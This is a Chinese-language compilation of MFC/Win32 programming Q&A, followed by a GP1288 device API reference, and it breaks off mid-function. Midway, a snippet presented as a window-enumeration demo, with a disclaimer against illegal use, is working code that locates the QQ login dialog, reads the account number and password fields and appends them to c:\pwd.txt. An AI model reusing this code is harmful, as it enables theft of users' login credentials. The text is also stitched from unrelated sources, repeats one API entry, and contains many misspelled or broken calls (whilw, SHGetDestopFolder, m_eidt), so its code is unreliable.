Q 如何处理ComboBox中的回车键?避免退出程序?
A 在一般的EDIT中采用的方法是处理PretranlateMessage(),执行代码
CWnd *pWnd = GetFocus();
if(pWnd != NULL)
{
if(pWnd == GetDlgItem(IDC_EDIT1)
{
...//IDC_EDIT1具有焦点
}
}
但在ComboBox中好象不同,是ComboBox的编辑控件得到了焦点,所以判断代码:
BOOL CDlg::PreTranslateMessage(MSG *pMsg)
{
if(pMsg->message==WM_KEYDOWN && pMsg->wParam == VK_RETURN)
{
CWnd *pWnd = GetFocus();
if(pWnd != NULL)
{
if(pWnd->GetParent() == GetDlgItem(IDC_COMBO1)//更改ID
{
return TRUE;
}
}
}
return CDialog::PreTranslateMessage(pMsg);
}
//-------------------------------------------------
Q 动态创建的组合框如何设置下拉列表框的高度?
A m_combo.Create(WS_CHILD | WS_VISIBLE | WS_VSCROLL CBC_SORT | CBC_DROPDOWNLIST | WS_TABSTOP, CRect(320,10,580,280),this,114);
//CRect的最后一个参数(这里是280)就表示下拉大小
//-------------------------------------------------
Q 是否能不选择下拉列表样式而禁止用户输入值,有什么方法可以实现?
A 将下拉列表的编辑控件设置为只读的,方法如下:
CComboBox *pcombo;
CWnd *pWnd = pcombo->GetWindow(GW_CHILD);
while(pWnd)
{
char classname[256];
::GetClassName(pWnd->m_hWnd,classname,256)
if(strcmp(classname,"edit") == 0)
{
CEdit *pEdit;
pEdit = new CEdit();
pEdit->SubClassWindow(pWnd->m_hWnd);
pEdit->SetReadOnly();
pWnd = pWnd->GetNextWindow();
delete pEdit;
}
if(pWnd)
pWnd = pWnd->GetNextWindow();
}
//-------------------------------------------------
Q ComboBox的自定义弹出菜单,想在右击组合框的编辑部分的时候弹出菜单?
A 一种方法就是在CCustomCombo的OnCtlColor函数里进行,生成ComboBox中编辑框的子类,示例:
HBRUSH CCustomCombo::OnCtlColor(CDC *pDC,CWnd *pWnd,UINT nCtlColor)
{
if(nCtlColor == CTLCOLOR_EDIT)
{
if(m_edit.GetSafeHwnd()==NULL)
m_eidt.SubClassWindow(pWnd->GetSafeHwnd());
}
HBRUSH hbr = CComboBox::OnCtlColor(pDC,pWnd,nCtlColor);
return hbr;
}
//其中m_edit是CEdit类的实现,它在WM_RBUTTONUP上显示右键菜单
//-------------------------------------------------
Q 如何给按钮加位图
A
对动态创建的按钮:
CButton button;
button.Create(_T("My Button"),WS_CHILD | WS_VISIBLE | BS_BITMAP,CRect(10,10,60,50),pParentWnd,1);
button.SetBitmap(::LoadBitmap(NULL,MAKEINTRESOURCE(IBM_CHECK)));
或者修改风格:
UINT Style = Button.GetButtonStyle();
Style = Style | BS_BITMAP;
Button.SetBitmap(::LoadBitmap(NULL,MAKEINTRESOURCE(IBM_CHECK)));
//-------------------------------------------------
Q 如何在CButton派生类中以及父对话框中捕获BN_CLICKED消息?
A 于WM_NOTIFY消息相反,通知消息BN_CLICKED作为WM_COMMAND消息发送。因此应用程序应该使用ON_CONTROL_REFLECT_EC而不是ON_NOTIFY_REFLECT
//-------------------------------------------------
Q 如何判断某个对象是否具有当前焦点?
A return (CWnd::GetFocus() == pWnd);
//-------------------------------------------------
Q 如何设置编辑控件的数字限制属性?
A
long Style = GetWindowLong(m_EditCtrl.m_hWnd,GWL_STYLE);
Style |= ES_NUMBER;
SetWindowLong(m_EditCtrl.m_hWnd,GWL_STYLE,Style);
//-------------------------------------------------
Q 希望在LISTCTRL中显示文件,如何才能得到explorer使用的相同图象?
A 可以将系统的ImageList加到LISTCTRL上,然后用具有SHGFI_ICON标志的SHGetFileInfo获取适当的图标索引:
//图象列表设置
HIMAGELIST himagelist;
SHFILEINFO fi;
CImageList m_smalllist;
//得到系统小图标列表的句柄
himagelist = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T("C://"),0,&fi,sizeof(SHFILEINFO),SHGFI_SYSICONINDEX | SHGFI_SMALLICON);
//添加到小图象列表
m_smalllist.Attach(himagelist);
//设置LISTCTRL的图象列表
m_listCtrl.SetImageList(&m_smalllist,LVSIL_SMALL);
//分离图象列表
m_smalllist.Detach();
//-------------------------------------------------
Q 如何在列表的任何一列显示图标,而不是第一列?
A
LV_ITEM item;
...
item.mask = LVIF_TEXT | LVIF_IMAGE | LVIF_STATE | LVIF_PARAM;
item.iItem = ...//设置行号
item.lParam = ...//如何需要就设置lparam参数
item.iSubItem = ...//设置列号,从0开始的
item.stateMask = LVIS_STATEIMAGEMASK;
item.state = INDEXTOSTATEIMAGEMASK(...);//参数为图标号
item.iImage = ...//设置图标号
item.pszText = ...//显示文本
//插入新项
m_listctrl.InsertItem(&item);
//现在设置图标
m_listctrl.SetItemText(0,4,szField);
//-------------------------------------------------
Q 给LISTBOX添加新项时如何实现自动下滚?
A 在调用AddString后,添加如下代码:
m_listbox.SetTopIndex(m_listbox.GetCount()-1);
//-------------------------------------------------
Q listBox的文本超过框的宽度时,如何让水平滚动条正常工作?
A 用下面的代码,设置滚动条的宽度为最长的字符串宽度
void SetHorizontalExtent(CListBox &listbox)
{
int index = listbox.GetCount();
if(index == LB_ERROR)
return;
int nExtent = 0;
if(index)
{
CDC *pDC = listbox.GetDC();
CFont *poldfont = pDC->SelectObject(listbox.GetFont());
CString s;
SIZE text;
LONG maxtxt = 0;
whilw(index--)
{
listbox.GetText(index,s);
text = pDC->GetOutputTextExtent(s);
if(text.cx > maxtxt)
maxtxt = text.cx;
}
text.cx = maxtxt;
pDC->LPToDP(&text);
nExtent = text.cx+2;
pDC->SelectObject(poldfont);
listbox.ReleaseDC(pDC);
}
listbox.SetHorizontalExtent(nExtent);
}
//-------------------------------------------------
Q 在拆分视图的时候,创建了四个视图(2行2列),右下的是CFormView,其他的都是CView,在CMainFrame的OnCreateCilent不管怎么指定CRect的大小,下方的两个视图都占了整个窗口,需要拖动!
A 一般只需要在OnCreateClient的末尾添加:
m_wndSpitter.SetRowInfo(0,200,0);//添加此行代码
(第二部分)
//-------------------------------------------------
Q 如何指定拆分窗口的最小宽度?
A 使用CSpitterWnd::SetColumnInfo()
void SetColumnInfo(int col, //指定列
int deal, //理想宽度(像素)
int cxmin); //最小宽度(像素)
在使用SetColumnInfo之后还应该调用RecalLayout();重新调整布局。
//--------------------------------------------------
Q 如何判断工具栏是水平还是垂直的?
A if((m_toolbar.GetBarStyle() & CBRS_ALIGN_LEFT) == CBRS_ALIGN_LEFT ||
(m_toolbar.GetBarStyle() & CBRS_ALIGN_RIGHT) == CBRS_ALIGN_RIGHT)
AfxMessageBox("vertical");
else
AfxMessageBox("horizontal");
//--------------------------------------------------
Q 编程方式修改工具栏按钮的可见性?
A 示例代码:
DWORD style = m_toolbar.GetButtonStyle(nIndex);
if(m_bHide)
m_toolbar.SetButtonStyle(nIndex,style & ~WS_VISIBLE);
else
m_toolbar.SetButtonStyle(nIndex,style | WS_VISIBLE);
m_bHide = !m_bHide;
//--------------------------------------------------
Q 如何在状态栏添加按钮并响应?
A 创建一个从CButton派生的CMyButton类,在主框架类添加CMyButton类的成员变量,然后在OnCreate函数中创建按钮,并把它和状态栏关联起来:
m_mybtn.Create("MyButton",WS_CHILD | VISIBLE,CRect(0,0,60,20),&m_WndStatusBar,0);
通过处理BN_CLICKED消息,可以在CMyButton类中处理所有的点击事件
//--------------------------------------------------
Q 如何隐藏属性CPropertySheet的标题栏,使用ModifyStyle(WINDOW_CAPTION,0)没有效果
A 创建自己的CPropertySheet派生类,并覆盖OnInitDialog,转到默认的情况后,使用ModifyStyle来删除WS_CAPTION标志
//--------------------------------------------------
Q 如何让属性页有两行标签?
A 从CPropertySheet派生类,添加PreCreateWindow的处理,在调用基类之前添加代码:
cs.style |= TCS_MULTILINE;
//------------------------------------------------------
Q 如何在属性表的两个页之间传递数据?
A
CPropertyPage有一个成员函数QuerySiblings(WPARAM, LPARAM)。应用程序可以使用这个函数。
QuerySiblings生成一条PSM_QUERYSIBLINGS消息,它传递给所有的兄弟,也就是属性表上的其他属性页。 一般可创建一个所有页可见的枚举,如:
enum{QUERY_MY_STRING, QUERY_SOMETHING_ELSE,.......}
然后,在一个属性页需要其他属性页中的信息时,使用代码:
CString myString;
if(lL == QuerySiblings(QUERY_MY_STRING,(LPARAM)&myString))
{
....//获取字符串
}
提供字符串的页处理PSM_QUERYSIBLINGS消息:
LRESULT CPageThatHasString::OnQuerySiblings(WPARAM wParam, LPARAM lParam)
{
if(QUERY_MY_STRING == wParam)
{
*((CString *)lParam) = _T("Test String");
return 1L;
}
else
return 0L;
}
//----------------------------------------------------------
Q 如何让属性页具有两行标签?
A
从CPropertySheet派生一个自己的类,添加一个PreCreateWindow的处理,然后在调用基类的处理前加如下代码:cs.style |= TCS_MULTILINE;
//-----------------------------------------------------------
Q 如何隐藏属性页的标题栏?
A
从CPropertySheet派生一个自己的类,并覆盖OnInitDialog,在转到默认的情况以后,使用 ModifyStyle来删除标题栏标志WS_CAPTION。
ModifyStyle(WS_CAPTION,0);
//-------------------------------------------------------------------
Q 如何枚举桌面项目?
A
1 得到指向IShellFolder接口的指针
2 得到指向IMalloc接口的指针
3 得到指向IEnumIDList接口的指针
4 提取枚举中下一项目的PIDL
5 测定PIDL代表的标志符的类型
6 处理该项目
7 释放PIDL分配的内存
8 重复4到7步,知道所有的项目都枚举完
9 释放IShellFolder IMalloc IEnumIDList接口的指针
LPSHELLFOLDER lpshellfolder;
LPMALLOC lpmalloc;
LPENUMIDLIST lpidlist;
m_namecount = 0;
HRESULT hr = SHGetDestopFolder(&lpshellfolder);
if(hr == NOERROR)
{
hr = ::SHGetMalloc(&lpmalloc);
if(hr == NOERROR)
{
hr = lpshellfolder->EnumObject(NULL,SHCONTF_FOLDERS | SHCONTF_NONFOLDERS,&lpidlist);
if(hr == NOERROR)
ProcessFolder(lpshellfolder,lpmalloc,lpidlist);//custom deal function
lpmalloc->Release();
lpidlist->Release();
InValidate();
}
lpshellfolder->Release();
}
void ***::ProcessFolder(LPSHELLFOLDER lpshellfolder,LPMALLOC lpmalloc,LPENUMIDLIST lpidlist)
{
STRRET strret;
ULONG numfetch;
LPITEMIDLIST lpitemlist;
HRESULT hr = lpidlist->Next(1,&lpitemlist,&numfetch);
while(hr == NOERROR)
{
ULONG attributes = SFGAO_FOLDER;
lpshellfolder->GetAttributes(1,(const struct _ITEMIDLIST **)&lpitemlist,&attributes);
if(attributes & SFGAO_FOLDER)
{
hr = lpshellfolder->GetDiaplayNameOf(lpitemlist,SHGDN_NORMAL,&strret);
if(m_nameCount < 20)
m_names[m_namecount++] = strret.str;
}
lpmalloc->Free(lpitemlist);
hr = lpidlist->Next(1,&lpitemlist,&numfetch);
}
}
//-------------------------------------------------------------------
Q 如何创建桌面快捷方式?
A:
1 initialize com
2 create LShellLink Object
3 Use IShellLink interface to get the pointer about IPersistFile
4 Use IShellLink interface to initialize link
5 Use LPersistFile interface to save the link
6 Release all the com pointer
7 Com return to previous status
1
HRESULT hr = CoInitialize(NULL);
if(hr == S_OK)
{
...//Continue
}
2
IShellLink *pshelllink;
pshelllink = CoCreateInstance(CLSID_ShellLink,NULL,CLSCTX_INPROC_SERVER,IID_IShellLink,(void **)&pshelllink);
3
IPersistFile *persistfile;
persistfile = pshelllink->QueryInterface(IID_IPersistFile,(void **)&persistfile);
4
pshelllink->SetPath("C://config.sys");
pshelllink->SetDescription("ShortCut to config.sys");
5
char path[MAX_PATH];
GetWindowsDirectory(path,MAX_PATH);
int len = strlen(path);
strcpy(&path[len],"//desktop//config.lik");
//change the char from ANSI to UNICODE
OLECHAR widepath[MAX_PATH];
MultiByteToWideChar(CP_ACP,0,path,-1,widepath,MAX_PATH);
persistfile->Save(widepath,TRUE);
6
pshelllink->Release();
psersistfile->Release();
7
CoUnInitialize();
http://blog.csdn.net/jiangsheng/archive/2005/02/28/304654.aspx
大部分是C++的......也有一些是Delphi,VB.Net和C#。将就看吧。
在MFC程序的任意位置调用theApp这个全局变量的方法:很多时候需要访问theApp,你可以使用AfxGetApp(),但是可以有更简单的方法,你可以在CXXXApp的定义后面跟一句:extern CXXXApp theApp;这样在其它的地方如果要使用theApp这个全局变量就不用单独写一句extern CXXXApp theApp了。因为MFC程序一般每加入一个新类,在它的实现文件中都会包含你的工程的.h文件,也就是包含了那句extern的声明。
关于FindWindowEx和EnumChildWindows结合枚举任何一个控件的简单示例,以下代码以qq为例,只抛砖引玉~~呵呵
申明:本文章仅从技术角度讨论这两个函数的使用方法,任何人可以自由传播/复制,但不得用做其他非法用途,否则责任自负.
BOOL CALLBACK EnumqqChildProc(HWND hwndChild, LPARAM lParam)
{ //如果找到qq窗口,调用这个过程枚举控件,得到密码和号码
char num[11];//qq号码
char pwd[20];//qq密码
BOOL b = true;
HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);//得到下拉列表句柄
HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);//得到号码文本框句柄
//以下循环是得到密码框句柄
HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL);
HWND AfterHwnd = NULL;
while(b)
{
LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);//这个api很有用,可以得到很多东西
if( (lStyle & ES_PASSWORD))//如果有密码属性,就是密码框
{
b=false;
}
else
{
AfterHwnd = EditPWDHwnd;
EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);
}
if(EditPWDHwnd==NULL)
return true;
}
//通过WM_GETTEXT取得,窗口中的文本;
SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);
SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);
//记录号码和密码
CString str;
str.Format("/r/n号码:%s 密码:%s",num,pwd);
CFile f;
f.Open("c://pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
f.SeekToEnd();
f.Write(str,str.GetLength());
bLoop= false;
return false;
return TRUE;
}
BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam)
{ //这个回调函数就是用来找到qq窗口句柄
char strTitle[80];
if(::GetWindowText(hwndChild,strTitle,80))
if(strstr(strTitle,"QQ密码")!=0)//如果标题中有"QQ密码"字串,就视为找到
{
bFindqq = true;
return false;
}
return TRUE;
}
//调用的代码:
HWND hwnd=NULL;//::FindWindow((LPCSTR)"#32770",NULL);
HWND AfterHwnd = NULL;
while(!bFindqq)//bFindqq是一个全局变量,标志是否找到了qq窗口
{
hwnd=::FindWindowEx(NULL,AfterHwnd,(LPCSTR)"#32770",NULL);
if(!hwnd)
break;
AfterHwnd = hwnd;
EnumChildWindows(hwnd,EnumChildProc,NULL);
if(bFindqq)
qqHwnd = hwnd;
}
if(bFindqq)
EnumChildWindows(hwnd,EnumqqChildProc,NULL);
API列表参考手册(1)[推荐]
**********************************
* 系统函数 *
**********************************
------------------------------
------------------------------
名称 GetClipboardSize
原型 long GetClipboardSize (void)
描述 得到当前剪贴板中的数据长度
返回值:数据长度
参见
------------------------------
名称 IsClipboardEmpty
原型 BOOL IsClipboardEmpty (void)
描述 检测剪贴板是否为空
返回值:空为TRUE,非空为FALSE
参见
------------------------------
名称 EmptyClipboard
原型 BOOL EmptyClipboard (void)
描述 清空剪贴板内容
返回值:成功返回TRUE,失败返回FALSE
参见
------------------------------
名称 IsClipboardFormatAvailable
原型 BOOL IsClipboardFormatAvailable (UINT uFormat)
描述 检测剪贴板内数据的类型
返回值:成功返回TRUE,失败返回FALSE
现支持类型 : CF_TEXT,即目前只支持文本(其它类型以后再提供)
参见
------------------------------
名称 SetClipboardData
原型 HANDLE SetClipboardData (UINT uFormat, HANDLE hMem)
描述 按照数据的类型向剪贴板写入内容
uFormat 数据的类型
hMem 数据的地址
返回值:成功返回TRUE,失败返回FALSE
现支持类型 : CF_TEXT
参见 GetClipboardDat
------------------------------
名称 GetClipboardData
原型 HANDLE GetClipboardData (UINT uFormat)
描述 按照数据的类型取得剪贴板数据地址
返回值:成功返回地址,失败返回NULL
uFormat 现只支持 CF_TEXT
参见 SetClipboardData
------------------------------
名称 SelectClipRgn
原型 int WINAPI SelectClipRgn(HDC hdc, HRGN hrgn)
描述 设置图形设备的客户显示区域,直接拷贝方式
hdc: 图形设备的句柄
hrgn: 区域数据指针
返回值:成功返回区域类型,失败返回 NULLREGION(0xffffffff)
参见 ExtSelectClipRgn
------------------------------
名称 ExtSelectClipRgn
原型 int WINAPI ExtSelectClipRgn(HDC hdc, HRGN hrgn, int fnMode)
描述 设置图形设备的客户显示区域
hdc : 图形设备的句柄
hrgn : 区域数据指针
fnMode : 设置方式:
RGN_COPY 直接拷贝
RGN_AND 取hdc旧区域和hrgn的公共部分
RGN_OR hdc旧区域和hrgn 叠加
RGN_XOR hdc旧区域和hrgn 的不同部分
RGN_DIFF hdc旧区域和hrgn 相减
返回值:成功返回区域类型,失败返回 NULLREGION(0xffffffff)
参见 SelectClipRgn
------------------------------
名称 SwitchTo
原型 void SwitchTo (char *fullpath, char *args)
描述 切换到另一个任务
fullpath 另一任务的完整路径名称
args 参数,如有多个参数中间用空格分隔
我们推荐用SwitchTo和下面提到的QuitTo来切换MicroWindow的AP,因为MW的AP不在通常的任务
管理中管理。如果切换的不是MW的AP,还是用系统的 exec,fork。
参见 QuitTo
名称 QuitTo
原型 void QuitTo (char *fullpath, char *args)
描述 退出当前的MicroWindow程序,并切换到另一任务
参见 SwitchTo
------------------------------
名称 InputBox
原型 char *InputBox (char *buf, int buf_len, const char *text1, const char *text2, BOOL pwd_mask)
描述 用来获得用户输入文本的简单方法
buf 保存用户输入文本的缓冲区
buf_len 缓冲区长度
text1 字符串1
text2 字符串2
pwd_mask 当输入是密码时,显示的是"*"来加以保护。
TRUE 密码输入
FALSE 非
返回值:如取消输入返回NULL,否则返回字串长度
注意:缓冲区可以为空,也可有预设值。如果你希望这个输入框上有预设的内容时,可以将其填到
buf上。buf的长度最大为255。
参见
------------------------------
名称 EnableBuzzer
原型 void EnableBuzzer (BOOL on)
描述 在系统的蜂鸣器开启时,使能当前AP的蜂鸣器
on TRUE 使能 FALSE 关闭
注意:此函数的使用不会影响到系统的蜂鸣器状态
参见 IsBuzzerOn
------------------------------
名称 IsBuzzerOn
原型 BOOL IsBuzzerOn (void)
描述 检测当前的蜂鸣器是否开启
返回值:TRUE 开启 FALSE 关闭
参见 EnableBuzzer
------------------------------
名称 ControlBuzzer
原型 void ControlBuzzer (int freq, int duration)
描述 控制蜂鸣器以特定的频率和时间发音
freq 发音频率
duration 持续时间
参见 Beep
------------------------------
名称 Beep
原型 void Beep (void)
描述 蜂鸣器发出"吡"的一声。这相当于用4K的频率,100的duration调用ControlBuzzer
参见 ControlBuzzer
------------------------------
名称 ControlRedLED
原型 void ControlRedLED (BOOL on)
描述 控制GP1288的红色LED灯
on TRUE 开启 FALSE 关闭
同样的,这也不会影响到系统对LED的设定
参见 ControlGreenLED
------------------------------
名称 ControlGreenLED
原型 void ControlGreenLED (BOOL on)
描述 控制GP1288的绿色LED灯
on TRUE 开启 FALSE 关闭
参见 ControlRedLED
------------------------------
名称 ControlMotor
原型 void ControlMotor (BOOL on)
描述 控制GP1288的震动马达
on TRUE 开启 FALSE 关闭
参见
------------------------------
名称 ControlButton
原型 void ControlButton (int speed)
描述 在本任务内,控制键盘连续按键的响应速度
speed 速度值,范围在-10到50之间由慢变快
切换到其他任务后,响应速度恢复变为默认值
参见
------------------------------
名称 SetLocalLanguage
原型 void SetLocalLanguage (int lang)
描述 在本任务内设置语言选项
lang 0:大陆,GB码 1:台湾,Big5码 2:香港,Big5码 3:英文 -1:禁止切换
当使用此函数设置语言后后,一般需要更新屏幕,通知控件他们的显示。
实际上,这只是设置显示文字的方式,就是说,是用GB码还是Big5码的格式读取和显示汉字。
参见 GetLanguage
------------------------------
名称 GetLanguage
原型 int GetLanguage (void)
描述 得到语言设置的返回值
返回值:lang 0:北京,GB码 1:台湾,Big5码 2:香港,Big5码 3:英文 -1:禁止切换
参见 SetLocalLanguage
------------------------------
名称 GetRegionCode
原型 int GetRegionCode (void)
描述 得到GP1288的区域号
返回值:0:北京 1:台湾 2:香港 3:英文 -1:出错
参见
------------------------------
名称 GetProductName
原型 int GetProductName (char *buf)
描述 得到产品名称
buf 读出的产品名称
返回值:如果buf==NULL 返回实际需要的长度
否则,成功返回0;失败返回-1
参见 GetSerialNumber
------------------------------
名称 GetSerialNumber
原型 int GetSerialNumber (char *buf)
描述 得到GP1288的S/N(串号)
buf 读出的S/N
返回值:如果buf==NULL 返回实际需要的长度
否则,成功返回0;失败返回-1
参见 GetProductName
------------------------------
名称 GetPanelKeys
原型 BOOL GetPanelKeys (BOOL bEnable)
描述 系统是否产生(UP,DOWN,LEFT,RIGHT,HOME,END)6个按键消息
在GP1288上,我们将按键分组,这6个按键(就是方向键和边上两个键)归于PanelKeys组,可以
通过程序设定是否起作用,即按下后是否发送按键消息,能被系统接收。其虚拟键值为:
VK_UP 方向键上
VK_DOWN 方向键下
VK_LEFT 方向键左
VK_RIGHT 方向键右
VK_HOME HOME键,默认也是Holink键
VK_END END键,默认是邮件键
bEnable TRUE ,产生按键消息;FALSE 不产生按键消息
参见 GetSoftKeys
------------------------------
名称 GetSoftKeys
原型 BOOL GetSoftKeys (BOOL bEnable);
描述 系统是否产生目录、菜单、查找、计算、字典、切换、红外、录音的按键消息
在GP1288上,我们将按键分组,这8个按键归于SoftKeys组,可以通过程序设定是否起作用,即按
下后是否发送按键消息,能被系统接收。其虚拟键值为:
VK_F1 软键盘上的目录键
VK_F2 软键盘上的菜单键
VK_F3 软键盘上的查找键
VK_F4 软键盘上的计算键
VK_F5 软键盘上的字典键
VK_F6 软键盘上的切换键
VK_LBUTTON 红外键
VK_RBUTTON 录音键
bEnable TRUE ,产生按键消息;FALSE 不产生按键消息
参见 GetPanelKeys
------------------------------
名称 IsGetPanelKeys
原型 BOOL IsGetPanelKeys (void)
描述 系统是否允许PanelKeys起作用
返回值:TRUE 起作用 FALSE 不起作用
参见 GetPanelKeys
------------------------------
名称 IsGetSoftKeys
原型 BOOL IsGetSoftKeys (void)
描述 系统是否允许目录、菜单、查找、计算、字典、切换、红外、录音键起作用
返回值:TRUE 起作用 FALSE 不起作用
参见 GetSoftKeys
------------------------------
名称 InitXime
原型 #i nclude
HWND InitXime (HWND owner, InputMethod ime)
描述 以设定的方式初试化输入法
owner 欲开启输入法的窗口句柄
ime 输入法代表字
返回值:输入法句柄值,出错返回NULL
输入法代表字含义:
XIME_NONE 最小化
XIME_ASCII ASCII字符输入
XIME_SYMBOL 符号输入
XIME_PHONE 电话符号输入
XIME_CJ 繁体仓颉输入法
XIME_BOSHIAMY 繁体注音
XIME_HANDWRITE 手写输入
XIME_SPCODE 大写符号
XIME_PINYIN 全拼输入
XIME_WUBI 五笔输入
XIME_DEFAULT 系统默认输入法
XIME_USER 自定义输入法
输入法变化后会自动发出信息
WM_XIME_MINIMIZE 输入法最小化
WM_XIME_RESTORE 从最小化恢复
WM_XIME_CHANGED 输入方式变化
注意:调用初试化输入法的时间应在Winmain()中的CreatWindow或对话框建立后,并且
InitXime只能被调用一次,除非你已经销毁过他。
参见 InitXimeEx
------------------------------
名称 InitXime
原型 #i nclude
HWND InitXime (HWND owner, InputMethod ime)
描述 以设定的方式初试化输入法
owner 欲开启输入法的窗口句柄
ime 输入法代表字
返回值:输入法句柄值,出错返回NULL
输入法代表字含义:
XIME_NONE 最小化
XIME_ASCII ASCII字符输入
XIME_SYMBOL 符号输入
XIME_PHONE 电话符号输入
XIME_CJ 繁体仓颉输入法
XIME_BOSHIAMY 繁体注音
XIME_HANDWRITE 手写输入
XIME_SPCODE 大写符号
XIME_PINYIN 全拼输入
XIME_WUBI 五笔输入
XIME_DEFAULT 系统默认输入法
XIME_USER 自定义输入法
输入法变化后会自动发出信息
WM_XIME_MINIMIZE 输入法最小化
WM_XIME_RESTORE 从最小化恢复
WM_XIME_CHANGED 输入方式变化
注意:调用初试化输入法的时间应在Winmain()中的CreatWindow或对话框建立后,并且
InitXime只能被调用一次,除非你已经销毁过他。
参见 InitXimeEx
------------------------------
名称 InitXimeEx
原型 HWND InitXimeEx (HWND owner, InputMethod ime, int sub, int visible)
描述 用附加属性修饰的初试化输入法
owner 欲开启输入法的窗口句柄
ime 输入法代表字
sub 0:默认符号 1:半角符号 2:全角符号
参见 InitXime
------------------------------
名称 SelectXime
原型 void SelectXime (InputMethod ime)
描述 在使用中改变输入法
参见 InitXime
------------------------------
名称 SelectXimeEx
原型 void SelectXimeEx(InputMethod ime, int sub)
描述 在使用中改变输入法,并有附加属性修饰
参见 SelectXime,InitXime,InitXimeEx
------------------------------
名称 SetXimeOwner
原型 HWND SetXimeOwner(HWND owner)
描述 在其他对话框中使用输入法时,要调用此函数设定。
输入法作为一个控件,只能被一个窗体所使用。如果你想在另外一个窗口控件(比如对话框)中使
用,必需为它设定新的属主。
不过千万要记得,在销毁新属主前要将 owner 设回来。
owner 新属主的句柄
返回值:前次属主的句柄
参见
------------------------------
名称 DestroyXime
原型 void DestroyXime(void)
描述 手工销毁输入法控件
参见 InitXime
------------------------------
名称 ReInitXime
原型 int ReInitXime (void)
描述 手工重新刷新输入法控件。
这并没有破坏原有的句柄,只是重新刷新。
当切换语言时需要这样手工刷新。
参见 InitXime
------------------------------
名称 GetSelectedIME
原型 InputMethod GetSelectedIME (void)
描述 返回当前的输入法输入类型
参见 InitXime
------------------------------
名称 GetXimeSubStyle
原型 int GetXimeSubStyle (void)
描述 返回当前输入法的附加修饰类型
参见 InitXime
------------------------------
名称 GetXimeHandler
原型 HWND GetXimeHandler (void)
描述 返回输入法控件的句柄
必需在InitXime之后才能调用。
还要注意的是,如果是自定义的输入法,请不要调用此函数。
参见
------------------------------
名称 PopupXimeMenu
原型 void PopupXimeMenu (int x, int y)
描述 输入法的弹出菜单(就是那个有各种输入法选项的菜单)的位置
x 横坐标位置 y 纵坐标位置
参见 EnableXimeMinimize
------------------------------
名称 EnableXimeMinimize
原型 int EnableXimeMinimize (BOOL bEnable);
描述 在输入法弹出菜单上激活(取消)最小化选项
缺省状态下,输入法控件弹出菜单是没有最小化选项的,
调用此函数可以使其出现
bEnable TRUE 显示最小化选项 FALSE 隐藏最小化选项
返回值:0 成功 -1 失败
参见 PopupXimeMenu
------------------------------
名称 DefXimeProc
原型 LRESULT CALLBACK DefXimeProc (HWND, UINT, WPARAM, LPARAM)
描述 缺省的输入法处理部件。
如果您写了外挂的自定义输入法,就应该使用DefXimeProc()作为缺省的消息处理部件,在
UserXimeProc()中替代DefWindowProc()
参见 DefWindowProc
------------------------------
**********************************
* 用户界面函数 *
**********************************
------------------------------
名称 WinMain
原型 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdLine, int iCmdShow)
描述 此函数被系统呼叫,作为MicroWindow程序的初试化入口点,相当于C程序中的main()
hInstance 该程序的实例句柄
hPrevInstance 其他实例的句柄,但实际上其总为NULL
szCmdLine 用于运行程序的命令行,某些AP使用这个参数以在程序启动时将文件加载到内存
iCmdShow 程序最初显示的方式
实际上,我们不需要在WinMain时考虑这些参数,这些参数实际上是被MicroWindow传递并使用的
返回值:WinMain带来的消息循环在接收到WM_QUIT时退出,同时返回退出代码
如果在消息循环之前即退出,返回0
参见 CreateWindow,RegisterClass,ShowWindow,UpdateWindow
Q
如何得到物理内存的大小?
A
MEMORYSTATUS mem_stat;
GlobalMemoryStatus(&mem_stat);
CString str;
str.Format("%d,%3dKB",mem_stat.dwTotalPhys/1024/1000,mem_stat.dwTotalPhys/1024-mem_stat.dwTotalPhys/1024/1000*1000);
GetDlgItem(IDC_MEMPHYS)->SetWindowText(str);IDC_MEMPHYS就是显示内存的控件ID
Q
如何得到windows系统剪贴板消息?(ctrl+c 和右键的复制)
A
SetClipboardViewer会将你的窗口加入到一个链表的最前面,以后每次剪贴板内容发生变化,系统会发出wm_drawclipboard消息给这个链表的第一个结点
你可以参考:
ClipSpy---A tool for viewing clipboard and drag-and-drop data
http://www.codeproject.com/clipboard/clipspy.asp
Q
在工作线程中调用UpdateData函数怎么抛出异常呢?
A
简单的说,不能跨线程访问MFC窗口对象。MFC句柄封装类只在创建句柄的线程中有效,在其它线程中访问会出现无法预料的结果。适当的访问方式是直接访问句柄。更多信息参见http://www.csdn.net/develop/read_article.asp?id=23171
你需要另外想办法,例如在线程类中声明一个指针,AfxBeginThread的时候以暂停方式启动线程,设置指针为文档指针之后继续线程的运行。
参考http://support.microsoft.com/default.aspx?scid=kb;en-us;147578
Q
如何检测当前系统是否连接了internet
A
DWORD dwFlags;
if (InternetGetConnectedState(&dwFlags,0))
if (dwFlags&INTERNET_CONNECTION_LAN==INTERNET_CONNECTION_LAN)
MessageBox("已经使用MODEM连接到了Internet!","信息");
else
MessageBox("还没有连接到Internet!","信息");
创建快捷方式:
BOOL CreateLink (
LPSTR szPath,//快捷方式的目标应用程序名
LPSTR szLink)//快捷方式的数据文件名(*.lnk)
{
HRESULT hres ;
IShellLink * psl ;
IPersistFile* ppf ;
WORD wsz[ MAX_PATH] ;
//创建一个IShellLink实例
hres = CoCreateInstance( CLSID_ShellLink, NULL,
CLSCTX_INPROC_SERVER, IID_IShellLink,
(void **)&psl) ;
if( FAILED( hres))
return FALSE ;
//设置目标应用程序
psl -> SetPath( szPath) ;
//设置快捷键(此处设为Shift+Ctrl+'R')
psl -> SetHotkey( MAKEWORD( 'R',
HOTKEYF_SHIFT |HOTKEYF_CONTROL)) ;
//从IShellLink获取其IPersistFile接口
//用于保存快捷方式的数据文件 (*.lnk)
hres = psl -> QueryInterface( IID_IPersistFile,
(void**)&ppf) ;
if( FAILED( hres))
return FALSE ;
// 确保数据文件名为ANSI格式
MultiByteToWideChar( CP_ACP, 0, szLink, -1,
